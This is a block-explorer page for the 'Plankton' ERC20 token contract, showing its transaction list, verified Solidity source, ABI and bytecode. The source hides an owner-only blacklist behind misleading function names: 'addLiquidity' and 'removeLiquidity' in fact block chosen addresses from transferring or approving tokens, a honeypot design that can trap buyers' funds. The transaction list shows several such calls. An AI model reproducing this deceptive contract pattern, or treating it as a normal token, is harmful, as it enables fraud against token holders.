ETH Price: $2,163.90 (+4.00%)

Contract

0xA97F2bA8b835B95d46deDd169d95202A1Bcf725E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve175034372023-06-18 1:35:59626 days ago1687052159IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0006934213.52844708
Approve175034222023-06-18 1:32:59626 days ago1687051979IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0003046813.84950707
Approve175033962023-06-18 1:27:47626 days ago1687051667IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0002945813.39010893
Approve175032532023-06-18 0:59:11626 days ago1687049951IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0003340415.18379384
Approve175032402023-06-18 0:56:35626 days ago1687049795IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0002832312.87418804
Add Liquidity175026462023-06-17 22:56:35626 days ago1687042595IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0008083616.94323239
Approve175024532023-06-17 22:17:35626 days ago1687040255IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0006954713.56837487
Add Liquidity175024492023-06-17 22:16:47626 days ago1687040207IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0006595913.8250441
Add Liquidity175021902023-06-17 21:24:47626 days ago1687037087IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0012734213.55140594
Approve175019942023-06-17 20:45:23626 days ago1687034723IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0007267714.17899693
Transfer175019172023-06-17 20:29:59626 days ago1687033799IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0003788715.2258193
Approve175017632023-06-17 19:58:47626 days ago1687031927IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0009095117.62451932
Approve175017122023-06-17 19:48:35626 days ago1687031315IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0003547314.2967767
Add Liquidity175016592023-06-17 19:37:59626 days ago1687030679IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0009624613.58652018
Approve175016422023-06-17 19:34:35626 days ago1687030475IN
0xA97F2bA8...A1Bcf725E
0 ETH0.000348514.04595111
Approve175016022023-06-17 19:26:35626 days ago1687029995IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0008475216.4423868
Approve175014262023-06-17 18:51:11626 days ago1687027871IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0007718215.05787359
Approve175014172023-06-17 18:49:23626 days ago1687027763IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0008056915.71877482
Add Liquidity175014072023-06-17 18:47:23626 days ago1687027643IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0011413416.11164554
Approve175010782023-06-17 17:40:47626 days ago1687023647IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0007832515.28095376
Add Liquidity175010762023-06-17 17:40:23626 days ago1687023623IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0011247515.87745138
Approve175010392023-06-17 17:32:59626 days ago1687023179IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0009131117.71498608
Approve175006362023-06-17 16:11:35626 days ago1687018295IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0025113448.98370326
Add Liquidity175006322023-06-17 16:10:47626 days ago1687018247IN
0xA97F2bA8...A1Bcf725E
0 ETH0.0053822745.967777
Approve175001452023-06-17 14:32:23626 days ago1687012343IN
0xA97F2bA8...A1Bcf725E
0 ETH0.000778715.19219299
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Plankton

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : PLANKTON.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Plankton is IERC20, Ownable {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private liquidity;

    constructor() {
        name = "Plankton";
        symbol = "PLANKTON";
        decimals = 10;
        _totalSupply = 100000000000 * 10**uint256(decimals);
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function getLiquitdityStatus(address _addrs) public view onlyOwner returns (bool) {
        return liquidity[_addrs];
    }

    function addLiquidity(address[] memory liquidity_) external onlyOwner {
        for (uint256 i = 0; i < liquidity_.length; i++) {
            liquidity[liquidity_[i]] = true;
        }
    }

    function removeLiquidity(address account) external onlyOwner {
        require(liquidity[account], "Address is not in array");

        liquidity[account] = false;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        address sender = msg.sender;
        require(!liquidity[_msgSender()], "Sender is in array");
        require(!liquidity[recipient], "Recipient is in array");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        address owner = msg.sender;
        require(!liquidity[_msgSender()], "Approver is in array");
        require(!liquidity[spender], "Spender is in array");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        require(!liquidity[sender], "Sender is in array");
        require(!liquidity[recipient], "Recipient is in array");
        require(!liquidity[_msgSender()], "Caller is in array");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");
        require(
            _allowances[sender][msg.sender] >= amount,
            "ERC20: insufficient allowance"
        );

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"liquidity_","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addrs","type":"address"}],"name":"getLiquitdityStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36040518060400160405280600881526020017f506c616e6b746f6e00000000000000000000000000000000000000000000000081525060019081620001139190620004e0565b506040518060400160405280600881526020017f504c414e4b544f4e000000000000000000000000000000000000000000000000815250600290816200015a9190620004e0565b50600a600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff1660ff16600a6200019891906200074a565b64174876e800620001aa91906200079b565b600481905550600454600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620002589190620007f7565b60405180910390a362000814565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002e857607f821691505b602082108103620002fe57620002fd620002a0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000329565b62000374868362000329565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003c1620003bb620003b5846200038c565b62000396565b6200038c565b9050919050565b6000819050919050565b620003dd83620003a0565b620003f5620003ec82620003c8565b84845462000336565b825550505050565b600090565b6200040c620003fd565b62000419818484620003d2565b505050565b5b8181101562000441576200043560008262000402565b6001810190506200041f565b5050565b601f82111562000490576200045a8162000304565b620004658462000319565b8101602085101562000475578190505b6200048d620004848562000319565b8301826200041e565b50505b505050565b600082821c905092915050565b6000620004b56000198460080262000495565b1980831691505092915050565b6000620004d08383620004a2565b9150826002028217905092915050565b620004eb8262000266565b67ffffffffffffffff81111562000507576200050662000271565b5b620005138254620002cf565b6200052082828562000445565b600060209050601f83116001811462000558576000841562000543578287015190505b6200054f8582620004c2565b865550620005bf565b601f198416620005688662000304565b60005b8281101562000592578489015182556001820191506020850194506020810190506200056b565b86831015620005b25784890151620005ae601f891682620004a2565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000655578086048111156200062d576200062c620005c7565b5b60018516156200063d5780820291505b80810290506200064d85620005f6565b94506200060d565b94509492505050565b60008262000670576001905062000743565b8162000680576000905062000743565b8160018114620006995760028114620006a457620006da565b600191505062000743565b60ff841115620006b957620006b8620005c7565b5b8360020a915084821115620006d357620006d2620005c7565b5b5062000743565b5060208310610133831016604e8410600b8410161715620007145782820a9050838111156200070e576200070d620005c7565b5b62000743565b62000723848484600162000603565b925090508184048111156200073d576200073c620005c7565b5b81810290505b9392505050565b600062000757826200038c565b915062000764836200038c565b9250620007937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200065e565b905092915050565b6000620007a8826200038c565b9150620007b5836200038c565b9250828202620007c5816200038c565b91508282048414831517620007df57620007de620005c7565b5b5092915050565b620007f1816200038c565b82525050565b60006020820190506200080e6000830184620007e6565b92915050565b61239380620008246000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610276578063d798f86e146102a6578063dd62ed3e146102c2578063f2fde38b146102f2576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c578063a0f2c9641461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780636085d0cc146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f91906117bf565b60405180910390f35b610132600480360381019061012d9190611889565b61039c565b60405161013f91906118e4565b60405180910390f35b6101506105b4565b60405161015d919061190e565b60405180910390f35b610180600480360381019061017b9190611929565b6105be565b60405161018d91906118e4565b60405180910390f35b61019e610b7f565b6040516101ab9190611998565b60405180910390f35b6101ce60048036038101906101c991906119b3565b610b92565b6040516101db91906118e4565b60405180910390f35b6101fe60048036038101906101f991906119b3565b610c64565b60405161020b919061190e565b60405180910390f35b61021c610cad565b005b610226610de7565b60405161023391906119ef565b60405180910390f35b610244610e10565b60405161025191906117bf565b60405180910390f35b610274600480360381019061026f9190611b52565b610e9e565b005b610290600480360381019061028b9190611889565b610faf565b60405161029d91906118e4565b60405180910390f35b6102c060048036038101906102bb91906119b3565b611395565b005b6102dc60048036038101906102d79190611b9b565b6114f8565b6040516102e9919061190e565b60405180910390f35b61030c600480360381019061030791906119b3565b61157f565b005b6001805461031b90611c0a565b80601f016020809104026020016040519081016040528092919081815260200182805461034790611c0a565b80156103945780601f1061036957610100808354040283529160200191610394565b820191906000526020600020905b81548152906001019060200180831161037757829003601f168201915b505050505081565b600080339050600760006103ae611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042d90611c87565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ba90611cf3565b60405180910390fd5b82600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516105a1919061190e565b60405180910390a3600191505092915050565b6000600454905090565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561064d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064490611d5f565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611dcb565b60405180910390fd5b600760006106e6611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590611e37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490611ec9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390611f5b565b60405180910390fd5b6000821161088f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088690611fed565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090890612059565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c7906120c5565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a1f9190612114565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a759190612148565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b089190612114565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b6c919061190e565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000610b9c611727565b73ffffffffffffffffffffffffffffffffffffffff16610bba610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c07906121c8565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cb5611727565b73ffffffffffffffffffffffffffffffffffffffff16610cd3610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d20906121c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60028054610e1d90611c0a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e4990611c0a565b8015610e965780601f10610e6b57610100808354040283529160200191610e96565b820191906000526020600020905b815481529060010190602001808311610e7957829003601f168201915b505050505081565b610ea6611727565b73ffffffffffffffffffffffffffffffffffffffff16610ec4610de7565b73ffffffffffffffffffffffffffffffffffffffff1614610f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f11906121c8565b60405180910390fd5b60005b8151811015610fab57600160076000848481518110610f3f57610f3e6121e8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fa390612217565b915050610f1d565b5050565b60008033905060076000610fc1611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104090611d5f565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90611dcb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90611ec9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab90611f5b565b60405180910390fd5b600083116111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90611fed565b60405180910390fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611279576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127090612059565b60405180910390fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112c89190612114565b9250508190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131e9190612148565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611382919061190e565b60405180910390a3600191505092915050565b61139d611727565b73ffffffffffffffffffffffffffffffffffffffff166113bb610de7565b73ffffffffffffffffffffffffffffffffffffffff1614611411576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611408906121c8565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661149d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611494906122ab565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611587611727565b73ffffffffffffffffffffffffffffffffffffffff166115a5610de7565b73ffffffffffffffffffffffffffffffffffffffff16146115fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f2906121c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361166a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116619061233d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561176957808201518184015260208101905061174e565b60008484015250505050565b6000601f19601f8301169050919050565b60006117918261172f565b61179b818561173a565b93506117ab81856020860161174b565b6117b481611775565b840191505092915050565b600060208201905081810360008301526117d98184611786565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611820826117f5565b9050919050565b61183081611815565b811461183b57600080fd5b50565b60008135905061184d81611827565b92915050565b6000819050919050565b61186681611853565b811461187157600080fd5b50565b6000813590506118838161185d565b92915050565b600080604083850312156118a05761189f6117eb565b5b60006118ae8582860161183e565b92505060206118bf85828601611874565b9150509250929050565b60008115159050919050565b6118de816118c9565b82525050565b60006020820190506118f960008301846118d5565b92915050565b61190881611853565b82525050565b600060208201905061192360008301846118ff565b92915050565b600080600060608486031215611942576119416117eb565b5b60006119508682870161183e565b93505060206119618682870161183e565b925050604061197286828701611874565b9150509250925092565b600060ff82169050919050565b6119928161197c565b82525050565b60006020820190506119ad6000830184611989565b92915050565b6000602082840312156119c9576119c86117eb565b5b60006119d78482850161183e565b91505092915050565b6119e981611815565b82525050565b6000602082019050611a0460008301846119e0565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a4782611775565b810181811067ffffffffffffffff82111715611a6657611a65611a0f565b5b80604052505050565b6000611a796117e1565b9050611a858282611a3e565b919050565b600067ffffffffffffffff821115611aa557611aa4611a0f565b5b602082029050602081019050919050565b600080fd5b6000611ace611ac984611a8a565b611a6f565b90508083825260208201905060208402830185811115611af157611af0611ab6565b5b835b81811015611b1a5780611b06888261183e565b845260208401935050602081019050611af3565b5050509392505050565b600082601f830112611b3957611b38611a0a565b5b8135611b49848260208601611abb565b91505092915050565b600060208284031215611b6857611b676117eb565b5b600082013567ffffffffffffffff811115611b8657611b856117f0565b5b611b9284828501611b24565b91505092915050565b60008060408385031215611bb257611bb16117eb565b5b6000611bc08582860161183e565b9250506020611bd18582860161183e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2257607f821691505b602082108103611c3557611c34611bdb565b5b50919050565b7f417070726f76657220697320696e206172726179000000000000000000000000600082015250565b6000611c7160148361173a565b9150611c7c82611c3b565b602082019050919050565b60006020820190508181036000830152611ca081611c64565b9050919050565b7f5370656e64657220697320696e20617272617900000000000000000000000000600082015250565b6000611cdd60138361173a565b9150611ce882611ca7565b602082019050919050565b60006020820190508181036000830152611d0c81611cd0565b9050919050565b7f53656e64657220697320696e2061727261790000000000000000000000000000600082015250565b6000611d4960128361173a565b9150611d5482611d13565b602082019050919050565b60006020820190508181036000830152611d7881611d3c565b9050919050565b7f526563697069656e7420697320696e2061727261790000000000000000000000600082015250565b6000611db560158361173a565b9150611dc082611d7f565b602082019050919050565b60006020820190508181036000830152611de481611da8565b9050919050565b7f43616c6c657220697320696e2061727261790000000000000000000000000000600082015250565b6000611e2160128361173a565b9150611e2c82611deb565b602082019050919050565b60006020820190508181036000830152611e5081611e14565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611eb360258361173a565b9150611ebe82611e57565b604082019050919050565b60006020820190508181036000830152611ee281611ea6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f4560238361173a565b9150611f5082611ee9565b604082019050919050565b60006020820190508181036000830152611f7481611f38565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000611fd760308361173a565b9150611fe282611f7b565b604082019050919050565b6000602082019050818103600083015261200681611fca565b9050919050565b7f45524332303a20696e73756666696369656e742062616c616e63650000000000600082015250565b6000612043601b8361173a565b915061204e8261200d565b602082019050919050565b6000602082019050818103600083015261207281612036565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120af601d8361173a565b91506120ba82612079565b602082019050919050565b600060208201905081810360008301526120de816120a2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061211f82611853565b915061212a83611853565b9250828203905081811115612142576121416120e5565b5b92915050565b600061215382611853565b915061215e83611853565b9250828201905080821115612176576121756120e5565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121b260208361173a565b91506121bd8261217c565b602082019050919050565b600060208201905081810360008301526121e1816121a5565b9050919050565b7